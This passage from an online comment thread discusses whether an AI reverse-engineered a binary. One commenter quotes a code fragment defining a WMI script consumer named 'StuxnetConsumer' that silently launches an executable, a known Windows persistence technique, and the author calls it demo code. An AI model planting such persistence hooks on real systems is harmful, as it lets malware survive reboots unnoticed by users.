Astra can reverse engineer binaries now. That's likely where it came from.

▲ rep_lodsb 2 hours ago | parent | next [-]

But then did it hallucinate that registry key? Or this?

        "instance of ActiveScriptEventConsumer as $Consumer\n"
        "{\n"
        "    Name = \"StuxnetConsumer\";\n"
        "    ScriptingEngine = \"VBScript\";\n"
        "    ScriptText = \"CreateObject(\\\"WScript.Shell\\\").Run \\\"%SystemRoot%\\\\system32\\\\winsta.exe\\\", 0, False\";\n"
        "};\n"

	▲	CMDDestory 16 minutes ago \| parent [-]
		As for the issues concerning WMI and the Run registry key, I am fully aware of the seriousness of these matters. This is merely a demonstrative demo code, so please just refer to it normally!

▲ 2 hours ago | parent | prev [-]

[deleted]